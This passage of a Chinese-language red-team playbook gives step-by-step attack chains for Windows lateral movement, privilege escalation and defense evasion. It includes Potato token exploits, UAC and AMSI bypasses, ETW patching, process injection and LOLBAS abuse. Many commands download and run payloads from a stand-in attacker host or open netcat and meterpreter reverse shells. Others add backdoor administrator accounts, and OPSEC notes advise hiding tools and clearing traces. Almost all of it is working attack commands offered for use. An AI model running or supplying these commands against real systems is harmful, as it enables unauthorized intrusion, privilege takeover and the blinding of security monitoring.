_创建并启动服务_
```
sc \\target create evilsvc binPath= "cmd /c whoami"
sc \\target start evilsvc
sc \\target delete evilsvc
```

---

### ATExec横向移动  `lateral-atexec`
通过计划任务执行命令
子类：**计划任务** · tags: `at` `scheduled` `lateral`

**前置条件：** 计划任务权限；管理员权限

**攻击链：**

**1. Impacket atexec**  _[linux]_
_使用atexec执行命令_
```
atexec.py domain/user:password@target "whoami"
```

**2. schtasks**  _[windows]_
_创建远程计划任务_
```
schtasks /create /s target /tn "evil" /tr "cmd /c whoami" /sc once /st 00:00
```

---

### WinRS横向移动  `lateral-winrs`
通过WinRS执行远程命令
子类：**WinRS** · tags: `winrs` `lateral` `windows`

**前置条件：** WinRM启用；有效凭证

**攻击链：**

**1. 执行命令**  _[windows]_
_远程执行命令_
```
winrs -r:target -u:user -p:password "whoami"
```

**2. 获取Shell**  _[windows]_
_获取远程CMD_
```
winrs -r:target -u:user -p:password "cmd"
```

---

### Excel DCOM横向移动  `lateral-dcom-excel`
利用Excel DCOM进行横向移动
子类：**DCOM** · tags: `dcom` `excel` `lateral`

**前置条件：** 目标安装Excel；DCOM权限

**攻击链：**

**1. Excel DCOM激活**  _[windows]_
_激活Excel DCOM对象_
```
$com = [Type]::GetTypeFromProgID("Excel.Application","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Visible = $false
```

**2. 执行命令**  _[windows]_
_通过Excel执行命令_
```
$obj.Workbooks.Add()
$obj.Cells.Item(1,1) = "=CMD|/C calc.exe!A"
$obj.Run("calc.exe")
```

**3. Impacket DCOM**  _[linux]_
_使用Impacket执行_
```
python dcomexec.py -object Excel.Application domain/user:password@target.com
```

---

### MMC DCOM横向移动  `lateral-dcom-mmc`
利用MMC DCOM进行横向移动
子类：**DCOM** · tags: `dcom` `mmc` `lateral`

**前置条件：** 目标安装MMC；DCOM权限

**攻击链：**

**1. MMC20.Application**  _[windows]_
_使用MMC执行命令_
```
$com = [Type]::GetTypeFromProgID("MMC20.Application","target.com")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")
```

**2. Impacket执行**  _[linux]_
_使用Impacket_
```
python dcomexec.py -object MMC20.Application domain/user:password@target.com
```

---

### RDP Relay攻击  `rdp-relay`
RDP中继攻击技术
子类：**RDP** · tags: `rdp` `relay` `lateral`

**前置条件：** RDP服务可访问；存在NTLM认证

**攻击链：**

**1. 设置中继**  _[linux]_
_设置RDP中继服务器_
```
使用Impacket:
python ntlmrelayx.py -tf targets.txt -smb2support
或使用rdp_relay.py
```

**2. 诱导连接**
_诱导用户连接_
```
诱导用户连接到攻击者控制的RDP服务器:
1. 发送恶意RDP文件
2. 用户连接时中继到目标
```

**3. PetitPotam组合**  _[linux]_
_PetitPotam + RDP Relay_
```
python petitpotam.py -d domain -u user -p pass attacker_ip target_ip
结合NTLM中继攻击ADCS
```

---


## 权限提升

### 令牌窃取与模拟  `privilege-token`
窃取和模拟Windows访问令牌
子类：**令牌操作** · tags: `token` `privilege` `impersonation` `windows`

**前置条件：** 已获得目标机器权限；SeImpersonatePrivilege权限；Windows系统

**攻击链：**

**1. 列出令牌**  _[windows]_
_列出系统中所有可用令牌_
```
mimikatz.exe "privilege::debug" "token::list" "exit"
```

**2. 窃取令牌**  _[windows]_
_窃取指定用户的令牌_
```
mimikatz.exe "privilege::debug" "token::elevate /domainuser:Administrator" "exit"
```

**3. JuicyPotato攻击**  _[windows]_
_JuicyPotato提权（需要SeImpersonatePrivilege）_
```
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
```

**4. PrintSpoofer**  _[windows]_
_PrintSpoofer提权_
```
PrintSpoofer.exe -i -c cmd
```

**5. GodPotato**  _[windows]_
_GodPotato提权，支持更多Windows版本_
```
GodPotato.exe -cmd "cmd /c whoami"
```

**EDR 绕过变体：**

**1. RoguePotato**
_RoguePotato，绕过更多限制_
```
RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe"
```

**分析：** 令牌窃取成功后可以模拟高权限用户身份执行操作。

**OPSEC：** Potato系列工具利用DCOM机制；需要SeImpersonatePrivilege权限；不同Windows版本需要不同的CLSID

---

### Windows权限提升  `windows-privesc`
Windows系统提权技术
子类：**Windows** · tags: `privesc` `windows` `privilege`

**前置条件：** 普通用户权限；系统漏洞

**攻击链：**

**1. 检查提权向量**  _[windows]_
_检查当前权限_
```
whoami /priv
whoami /groups
```

**2. 使用WinPEAS**  _[windows]_
_自动化提权检查_
```
winpeas.exe
```

**3. 检查服务权限**  _[windows]_
_检查可写服务_
```
accesschk.exe -uwcqv "Everyone" *
```

**4. 检查未引用服务路径**  _[windows]_
_查找未引用服务路径_
```
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"  | findstr /i /v """
```

---

### Linux权限提升  `linux-privesc`
Linux系统提权技术
子类：**Linux** · tags: `privesc` `linux` `privilege`

**前置条件：** 普通用户权限；系统漏洞

**攻击链：**

**1. 检查SUID**  _[linux]_
_查找SUID文件_
```
find / -perm -4000 -type f 2>/dev/null
```

**2. 检查Sudo**  _[linux]_
_检查sudo权限_
```
sudo -l
```

**3. 检查Cron**  _[linux]_
_检查计划任务_
```
cat /etc/crontab
ls -la /etc/cron*
```

**4. 使用LinPEAS**  _[linux]_
_自动化提权检查_
```
linpeas.sh
```

---

### UAC绕过  `uac-bypass`
绕过Windows用户账户控制
子类：**UAC** · tags: `uac` `bypass` `windows`

**前置条件：** 管理员组成员；UAC启用

**攻击链：**

**1. Fodhelper**  _[windows]_
_通过fodhelper绕过UAC_
```
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f
fodhelper.exe
```

**2. Eventvwr**  _[windows]_
_通过eventvwr绕过UAC_
```
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe" /f
eventvwr.exe
```

**3. 使用UACME**  _[windows]_
_使用UACME工具_
```
Akagi64.exe 23 cmd.exe
```

---

### DLL劫持  `dll-hijack`
通过DLL劫持提权
子类：**DLL** · tags: `dll` `hijack` `privesc`

**前置条件：** 可写目录；DLL搜索顺序

**攻击链：**

**1. 查找DLL劫持**  _[windows]_
_监控进程加载的DLL_
```
使用Procmon监控DLL加载
```

**2. 创建恶意DLL**  _[linux]_
_生成恶意DLL_
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
```

**3. 放置DLL**  _[windows]_
_放置DLL到目标位置_
```
copy evil.dll "C:\Program Files\VulnerableApp\missing.dll"
```

---

### 服务提权  `service-exploit`
通过服务漏洞提权
子类：**服务** · tags: `service` `privesc` `windows`

**前置条件：** 服务修改权限；可写服务路径

**攻击链：**

**1. 检查服务权限**  _[windows]_
_检查用户可修改的服务_
```
accesschk.exe -uwcqv "Users" *
```

**2. 修改服务路径**  _[windows]_
_修改服务执行路径_
```
sc config VulnerableService binPath= "cmd /c whoami"
```

**3. 重启服务**  _[windows]_
_重启服务执行命令_
```
sc stop VulnerableService
sc start VulnerableService
```

---

### AlwaysInstallElevated提权  `always-install`
利用AlwaysInstallElevated提权
子类：**MSI** · tags: `msi` `alwaysinstall` `privesc`

**前置条件：** AlwaysInstallElevated启用

**攻击链：**

**1. 检查设置**  _[windows]_
_检查是否启用_
```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

**2. 创建MSI**  _[linux]_
_生成恶意MSI_
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi
```

**3. 安装MSI**  _[windows]_
_安装MSI执行代码_
```
msiexec /quiet /qn /i evil.msi
```

---

### Juicy Potato提权  `juicy-potato`
利用COM对象和SeImpersonatePrivilege提权
子类：**Potato** · tags: `juicy-potato` `com` `privesc`

**前置条件：** SeImpersonatePrivilege；Windows < 2019

**攻击链：**

**1. 检查权限**  _[windows]_
_检查SeImpersonatePrivilege_
```
whoami /priv | findstr SeImpersonate
```

**2. 执行JuicyPotato**  _[windows]_
_使用JuicyPotato提权_
```
JuicyPotato.exe -t * -p cmd.exe -l 1337
```

---

### PrintSpoofer提权  `printspoofer`
利用打印机服务提权
子类：**PrintSpoofer** · tags: `printspoofer` `privesc` `windows`

**前置条件：** SeImpersonatePrivilege

**攻击链：**

**1. 执行PrintSpoofer**  _[windows]_
_使用PrintSpoofer提权_
```
PrintSpoofer.exe -i -c cmd
```

**2. 指定命令**  _[windows]_
_执行指定命令_
```
PrintSpoofer.exe -c "whoami > C:\out.txt"
```

---

### GodPotato提权  `godpotato`
GodPotato提权工具
子类：**GodPotato** · tags: `godpotato` `privesc` `windows`

**前置条件：** SeImpersonatePrivilege

**攻击链：**

**1. 执行GodPotato**  _[windows]_
_使用GodPotato提权_
```
GodPotato.exe -cmd "cmd /c whoami"
```

**2. 反向Shell**  _[windows]_
_执行反向Shell_
```
GodPotato.exe -cmd "cmd /c powershell -e BASE64_CMD"
```

---

### SUID提权  `suid-exploit`
利用SUID文件提权
子类：**SUID** · tags: `suid` `privesc` `linux`

**前置条件：** 存在SUID文件；可利用程序

**攻击链：**

**1. 查找SUID**  _[linux]_
_查找所有SUID文件_
```
find / -perm -4000 -type f 2>/dev/null
```

**2. 常见可利用程序**  _[linux]_
_常见SUID利用方法_
```
nmap --interactive
vim -c ':!/bin/sh'
find / -exec /bin/sh \;
cp /bin/sh /tmp/sh; chmod +s /tmp/sh
```

**3. GTFOBins**  _[linux]_
_查找程序利用方法_
```
参考GTFOBins网站查找可利用程序
```

---

### Sudo提权  `sudo-exploit`
利用Sudo配置提权
子类：**Sudo** · tags: `sudo` `privesc` `linux`

**前置条件：** Sudo权限配置不当

**攻击链：**

**1. 检查Sudo权限**  _[linux]_
_列出可执行的sudo命令_
```
sudo -l
```

**2. 常见利用**  _[linux]_
_常见sudo利用方法_
```
sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
```

**3. CVE-2021-3156**  _[linux]_
_Baron Samedit漏洞_
```
利用sudo堆溢出漏洞
```

---

### Cron提权  `cron-exploit`
利用Cron任务提权
子类：**Cron** · tags: `cron` `privesc` `linux`

**前置条件：** 可写Cron脚本；通配符注入

**攻击链：**

**1. 检查Cron任务**  _[linux]_
_查看计划任务_
```
cat /etc/crontab
ls -la /etc/cron*
```

**2. 检查脚本权限**  _[linux]_
_检查Cron脚本权限_
```
ls -la /path/to/cron/script.sh
```

**3. 通配符注入**  _[linux]_
_利用tar通配符注入_
```
在Cron目录创建: --checkpoint=1
--checkpoint-action=exec=sh shell.sh
```

---

### 内核漏洞提权  `kernel-exploit`
利用内核漏洞提权
子类：**内核** · tags: `kernel` `privesc` `exploit`

**前置条件：** 存在内核漏洞；可编译/执行exploit

**攻击链：**

**1. 检查内核版本**  _[linux]_
_查看内核版本信息_
```
uname -a
cat /proc/version
```

**2. 搜索exploit**  _[linux]_
_搜索内核exploit_
```
searchsploit kernel VERSION
```

**3. 常见内核漏洞**  _[linux]_
_常见内核提权漏洞_
```
DirtyCow (CVE-2016-5195)
DirtyPipe (CVE-2022-0847)
PwnKit (CVE-2021-4034)
```

---

### Potato系列提权攻击  `potato-attack`
利用Windows令牌模拟和NTLM中继机制从服务账户(SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege)提权到SYSTEM
子类：**Potato提权** · tags: `privilege-escalation` `potato` `token-impersonation` `ntlm-relay` `windows`

**前置条件：** 拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限；常见于IIS AppPool、SQL Server、各类服务账户

**攻击链：**

**1. 检查当前权限**  _[windows]_
_首先确认当前用户是否拥有令牌模拟权限。IIS应用池账户、SQL Server服务账户、Windows服务账户通常默认拥有该权限_
```
# 检查是否拥有Impersonate权限
whoami /priv

# 重点关注以下权限:
# SeImpersonatePrivilege - 模拟客户端令牌
# SeAssignPrimaryTokenPrivilege - 替换进程级令牌

# 确认当前用户身份
whoami /all
echo %USERNAME%
```

**2. JuicyPotato (Windows Server 2016/2019)**  _[windows]_
_JuicyPotato利用COM服务器和NTLM认证实现令牌模拟。通过创建本地COM服务器，欺骗SYSTEM账户向其认证，然后模拟该令牌执行命令_
```
# 下载JuicyPotato
certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\temp\jp.exe

# 使用JuicyPotato提权执行命令
C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\proof.txt" -t *

# 使用特定CLSID (不同系统需要不同CLSID)
C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user testadmin Test@123 /add && net localgroup administrators testadmin /add" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# 反弹Shell
C:\temp\jp.exe -l 1337 -p C:\temp\nc.exe -a "-e cmd.exe attacker_ip 4444" -t *
```

**3. PrintSpoofer (Windows 10/Server 2019+)**  _[windows]_
_PrintSpoofer利用Windows打印服务的命名管道模拟功能。它创建一个命名管道并欺骗Print Spooler服务连接，从而获取SYSTEM令牌。适用于JuicyPotato无法使用的新版Windows_
```
# PrintSpoofer - 利用打印服务命名管道
PrintSpoofer.exe -i -c cmd

# 直接执行命令
PrintSpoofer.exe -c "cmd /c whoami > C:\temp\proof.txt"

# 反弹Shell
PrintSpoofer.exe -c "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe"

# 以SYSTEM身份启动PowerShell
PrintSpoofer.exe -i -c powershell.exe
```

**4. Sweet Potato (多技术集成)**  _[windows]_
_SweetPotato集成了PrintSpoofer、EfsPotato等多种技术，自动选择适合目标系统的攻击方式_
```
# SweetPotato - 集成多种Potato技术
SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"

# 指定攻击方式
SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c net user testadmin Test@123 /add"
```

**5. GodPotato (全版本通杀)**  _[windows]_
_GodPotato利用DCOM OXID解析器的漏洞，无需指定CLSID，兼容几乎所有Windows版本。是目前最通用的Potato变种_
```
# GodPotato - 适用于Windows Server 2012-2022所有版本
GodPotato.exe -cmd "cmd /c whoami"

# 执行反弹Shell
GodPotato.exe -cmd "cmd /c C:\temp\nc.exe -e cmd.exe attacker_ip 4444"

# 添加管理员
GodPotato.exe -cmd "net user testadmin Test@123 /add && net localgroup administrators testadmin /add"

# 执行PowerShell
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
```

**6. RoguePotato (远程场景)**  _[windows]_
_RoguePotato是JuicyPotato的改进版，通过远程OXID解析器实现NTLM认证中继。需要一台攻击机辅助完成中继_
```
# 攻击机 - 启动socat重定向
socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999

# 目标机 - 执行RoguePotato
RoguePotato.exe -r attacker_ip -e "cmd /c whoami > C:\temp\proof.txt" -l 9999

# 或使用netcat反弹
RoguePotato.exe -r attacker_ip -e "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
```

**7. Potato选型决策流程**  _[windows]_
_根据目标系统版本选择合适的Potato变种工具_
```
# === 决策流程 ===
# 1. whoami /priv 确认SeImpersonatePrivilege
# 2. systeminfo 确认系统版本
#
# Windows Server 2012-2016 => JuicyPotato
# Windows Server 2019 (1809之前) => JuicyPotato (需正确CLSID)
# Windows 10/Server 2019+ => PrintSpoofer 或 GodPotato
# Windows Server 2022 => GodPotato
# 所有版本 => SweetPotato (自动选择)
# 需要远程中继 => RoguePotato
#
# 常用CLSID查询: https://ohpe.it/juicy-potato/CLSID/
```

**EDR 绕过变体：**

**1. 绕过EDR检测的Potato技巧**  _[windows]_
_通过反射加载、重命名、使用较新工具等方式绕过EDR对Potato工具的检测_
```
# 1. 重命名二进制文件
ren GodPotato.exe svcutil.exe

# 2. 使用.NET反射加载(无文件落地)
powershell -ep bypass -c "$bytes=[System.IO.File]::ReadAllBytes('C:\temp\gp.exe');[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,@(,@('-cmd','cmd /c whoami')))";

# 3. 使用SharpToken替代(较新工具,签名较少)
SharpToken.exe execute SYSTEM "cmd /c whoami"
```

**分析：** Potato系列攻击利用Windows的令牌模拟机制——拥有SeImpersonatePrivilege的服务账户可以模拟向其认证的任何用户令牌。攻击者通过欺骗SYSTEM账户向本地COM服务器/命名管道认证，获取SYSTEM令牌后创建高权限进程。这是Web服务器(IIS)和数据库(SQL Server)提权最常见的方式之一。

**OPSEC：** 1) Potato工具的二进制文件特征明显，建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令，改用更隐蔽的后渗透方式

---


## 免杀与规避

### PowerShell免杀  `evasion-powershell`
PowerShell脚本免杀技术
子类：**PowerShell** · tags: `powershell` `evasion` `obfuscation`

**前置条件：** 目标机器访问权限；Windows系统

**攻击链：**

**1. 编码执行**  _[windows]_
_Base64编码执行_
```
powershell -enc BASE64_ENCODED_COMMAND
```

**2. 远程加载**  _[windows]_
_远程加载脚本_
```
IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1")
```

**3. 混淆变量名**  _[windows]_
_变量名混淆_
```
1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2"
```

**4. 无文件执行**  _[windows]_
_隐藏窗口无配置文件执行_
```
powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")"
```

**EDR 绕过变体：**

**1. 降级执行**
_使用PowerShell v2绕过日志_
```
powershell -version 2 -c "command"
```

**分析：** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。

**OPSEC：** PowerShell日志可能记录命令；考虑禁用日志；使用混淆技术

---

### AMSI绕过  `amsi-bypass`
绕过反恶意软件扫描接口
子类：**AMSI绕过** · tags: `amsi` `bypass` `evasion`

**前置条件：** PowerShell环境；AMSI启用

**攻击链：**

**1. 反射绕过**  _[windows]_
_通过反射禁用AMSI_
```
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
```

**2. 内存修补**  _[windows]_
_混淆版本绕过_
```
$a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}}
```

**3. DLL劫持**  _[windows]_
_通过DLL劫持绕过_
```
替换或劫持amsi.dll
```

**4. 使用工具**  _[windows]_
_使用现成工具_
```
Import-Module .\AmsiBypass.ps1
Invoke-AmsiBypass
```

---

### ETW Patch绕过  `etw-patch`
禁用ETW监控
子类：**ETW** · tags: `etw` `bypass` `evasion`

**前置条件：** 代码执行权限

**攻击链：**

**1. PowerShell禁用ETW**  _[windows]_
_PowerShell禁用ETW_
```
[System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0)
或
[Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null
$etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid())
$etw.SetEnabled(0)
```

**2. C#禁用ETW**  _[windows]_
_C#禁用ETW_
```
Assembly.Load("System.Diagnostics.Tracing")
Type etwType = typeof(EventProvider)
MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static)
setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 })
```

**3. 修补ntdll**  _[windows]_
_修补EtwEventWrite_
```
$ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll")
$etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite")
[Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect)
[Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten)
```

---

### API Unhooking  `api-unhooking`
移除EDR的API Hook
子类：**Unhooking** · tags: `unhooking` `hook` `evasion`

**前置条件：** 代码执行权限

**攻击链：**

**1. 从磁盘还原**  _[windows]_
_从磁盘读取干净DLL_
```
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
$proc = [System.Diagnostics.Process]::GetCurrentProcess()
$base = $proc.MainModule.BaseAddress
# 找到.text段并覆盖
```

**2. 从KnownDlls还原**  _[windows]_
_从KnownDlls还原_
```
$section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll")
$map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0)
# 复制干净的代码段
```

**3. Hell's Gate**  _[windows]_
_Hell's Gate技术_
```
通过系统调用号直接调用:
1. 解析NTDLL获取系统调用号
2. 直接执行syscall
3. 绕过用户模式Hook
```

---

### 进程注入  `process-injection`
将代码注入到其他进程
子类：**进程注入** · tags: `injection` `process` `evasion`

**前置条件：** 代码执行权限

**攻击链：**

**1. 经典DLL注入**  _[windows]_
_DLL注入_
```
$proc = Get-Process -Name notepad
$handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id)
$addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40)
[Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0)
[Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0)
```

**2. Process Hollowing**  _[windows]_
_进程镂空_
```
1. CreateProcess(CREATE_SUSPENDED)
2. NtUnmapViewOfSection
3. VirtualAllocEx
4. WriteProcessMemory
5. ResumeThread
```

**3. APC注入**  _[windows]_
_APC队列注入_
```
$threadId = $proc.Threads[0].Id
$queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC")
[Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr)
```

---

### AppLocker绕过  `applocker-bypass`
绕过AppLocker应用程序限制
子类：**AppLocker** · tags: `applocker` `bypass` `evasion`

**前置条件：** AppLocker限制环境

**攻击链：**

**1. 使用白名单路径**  _[windows]_
_使用白名单可执行文件_
```
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Program Files\Internet Explorer\ieexec.exe
```

**2. LOLBAS利用**  _[windows]_
_LOLBAS技术_
```
regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
mshta.exe http://attacker.com/shell.hta
certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe
```

**3. InstallUtil**  _[windows]_
_InstallUtil绕过_
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
```

**4. MSBuild**  _[windows]_
_MSBuild执行代码_
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj
```

---

### BlockDLLs技术  `evasion-blockdlls`
阻止非微软DLL加载
子类：**BlockDLLs** · tags: `evasion` `blockdlls` `edr`

**前置条件：** Windows系统；Cobalt Strike或其他工具

**攻击链：**

**1. Cobalt Strike BlockDLLs**  _[windows]_
_启用BlockDLLs_
```
beacon> blockdlls start
阻止非微软签名的DLL加载
beacon> blockdlls stop
恢复DLL加载
```

**2. 进程创建时启用**  _[windows]_
_进程创建时启用_
```
使用CREATE_SUSPENDED标志创建进程
设置ProcessSignaturePolicy
阻止EDR DLL注入
```

**3. C#实现**  _[windows]_
_C#实现BlockDLLs_
```
[DllImport("kernel32.dll")]
static extern bool SetProcessMitigationPolicy(...);
ProcessSignaturePolicy policy = new ProcessSignaturePolicy();
policy.SignatureLevel = 0x0F;
SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size);
```

---

### Shellcode加密  `evasion-shellcode-encrypt`
加密Shellcode绕过静态检测
子类：**Shellcode加密** · tags: `evasion` `shellcode` `encrypt`

**前置条件：** Shellcode；加密工具

**攻击链：**

**1. AES加密Shellcode**
_AES加密_
```
使用工具加密:
python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey
生成加密的Shellcode和解密代码
```

**2. XOR加密**
_XOR加密_
```
简单XOR加密:
for i in range(len(shellcode)):
    encoded[i] = shellcode[i] ^ key[i % len(key)]
运行时解密执行
```

**3. RC4加密**
_RC4加密_
```
使用RC4加密Shellcode:
from Crypto.Cipher import ARC4
cipher = ARC4.new(key)
encrypted = cipher.encrypt(shellcode)
运行时使用相同密钥解密
```

**4. 多态加密**
_多态加密_
```
每次生成不同的解密代码:
- 随机密钥
- 随机解密顺序
- 添加垃圾指令
- 控制流混淆
```

---

### 进程伪装  `evasion-process-masq`
伪装进程名称和路径
子类：**进程伪装** · tags: `evasion` `process` `masquerade`

**前置条件：** Windows系统

**攻击链：**

**1. PPID欺骗**  _[windows]_
_PPID欺骗_
```
Cobalt Strike:
beacon> ppid 1234
设置父进程ID为合法进程
beacon> run [command]
新进程继承合法父进程
```

**2. 进程参数欺骗**  _[windows]_
_参数欺骗_
```
CreateProcess参数:
- lpApplicationName: 合法程序路径
- lpCommandLine: 包含恶意命令
- 显示为合法进程
```

**3. 进程镂空**  _[windows]_
_进程镂空_
```
1. 创建合法进程(挂起状态)
2. 写入恶意代码
3. 恢复线程执行
进程名显示为合法程序
```

---

### PPID欺骗  `evasion-ppid-spoof`
伪造父进程ID
子类：**PPID欺骗** · tags: `evasion` `ppid` `spoofing`

**前置条件：** Windows系统；父进程句柄

**攻击链：**

**1. PowerShell实现**  _[windows]_
_PowerShell PPID欺骗_
```
$parent = Get-Process -Name explorer
$pi = New-Object System.Diagnostics.ProcessStartInfo
$pi.FileName = "cmd.exe"
$pi.ParentProcessId = $parent.Id
[System.Diagnostics.Process]::Start($pi)
```

**2. C#实现**  _[windows]_
_C#实现_
```
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFOEX {
    public STARTUPINFO StartupInfo;
    public IntPtr lpAttributeList;
}
使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性
```

**3. Cobalt Strike**  _[windows]_
_Cobalt Strike实现_
```
beacon> ppid [explorer_pid]
beacon> run notepad.exe
新进程父进程为explorer.exe
```

---

### DLL侧加载  `evasion-dll-sideloading`
利用DLL搜索顺序加载恶意DLL
子类：**DLL侧加载** · tags: `evasion` `dll` `sideloading`

**前置条件：** Windows系统；可执行文件

**攻击链：**

**1. DLL劫持**  _[windows]_
_DLL劫持原理_
```
1. 找到可执行文件加载的DLL
2. 将恶意DLL放在搜索路径优先位置
3. 执行程序时加载恶意DLL
```

**2. DLL转发**  _[windows]_
_DLL转发_
```
#pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction")
导出原始DLL的函数
同时执行恶意代码
```

**3. 常见目标**  _[windows]_
_常见目标DLL_
```
常见DLL劫持目标:
- version.dll
- dwmapi.dll
- uxtheme.dll
- cryptsp.dll
- winmm.dll
```

---

### 参数欺骗  `evasion-arg-spoofing`
欺骗进程参数显示
子类：**参数欺骗** · tags: `evasion` `argument` `spoofing`

**前置条件：** Windows系统

**攻击链：**

**1. 命令行欺骗**  _[windows]_
_命令行欺骗_
```
CreateProcess参数:
lpApplicationName = "C:\Windows\System32\cmd.exe"
lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami"
实际执行恶意命令
```

**2. 环境变量欺骗**  _[windows]_
_环境变量欺骗_
```
使用环境变量隐藏参数:
set EVIL=malicious_command
cmd /c %EVIL%
进程列表不显示实际命令
```

**3. PEB修改**  _[windows]_
_PEB修改_
```
修改PEB中的命令行:
1. 创建进程
2. 修改PEB中的CommandLine缓冲区
3. 进程管理器显示假参数
```

---

### 签名二进制利用  `evasion-signed-binary`
利用微软签名二进制执行代码
子类：**签名二进制** · tags: `evasion` `signed` `lolbin`

**前置条件：** Windows系统

**攻击链：**

**1. MSBuild**  _[windows]_
_MSBuild执行_
```
msbuild.exe malicious.csproj
执行嵌入的C#代码
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
```

**2. InstallUtil**  _[windows]_
_InstallUtil执行_
```
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll
执行.NET程序集
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
```

**3. Regsvcs/Regasm**  _[windows]_
_Regsvcs/Regasm_
```
regsvcs.exe malicious.dll
regasm.exe malicious.dll
执行.NET程序集
```

**4. Rundll32**  _[windows]_
_Rundll32执行_
```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
```

---

### CLR注入  `evasion-clr-injection`
CLR内存注入技术
子类：**CLR注入** · tags: `evasion` `clr` `injection`

**前置条件：** Windows系统；.NET环境

**攻击链：**

**1. CLR内存加载**  _[windows]_
_CLR加载原理_
```
使用CLR接口加载.NET程序集:
1. 获取CLR运行时
2. 创建AppDomain
3. 加载程序集
4. 执行入口点
```

**2. C#实现**  _[windows]_
_C# CLR加载_
```
var clr = new ClrModule();
clr.LoadAssembly(File.ReadAllBytes("malicious.exe"));
clr.Execute("Main");
从内存执行.NET程序
```

**3. Cobalt Strike**  _[windows]_
_Cobalt Strike实现_
```
beacon> execute-assembly /path/to/tool.exe args
从内存执行.NET程序集
不落地执行
```

---


## 域渗透攻击

### 域内权限提升路径  `domain-privilege-escalation`
利用ACL错误配置进行域权限提升
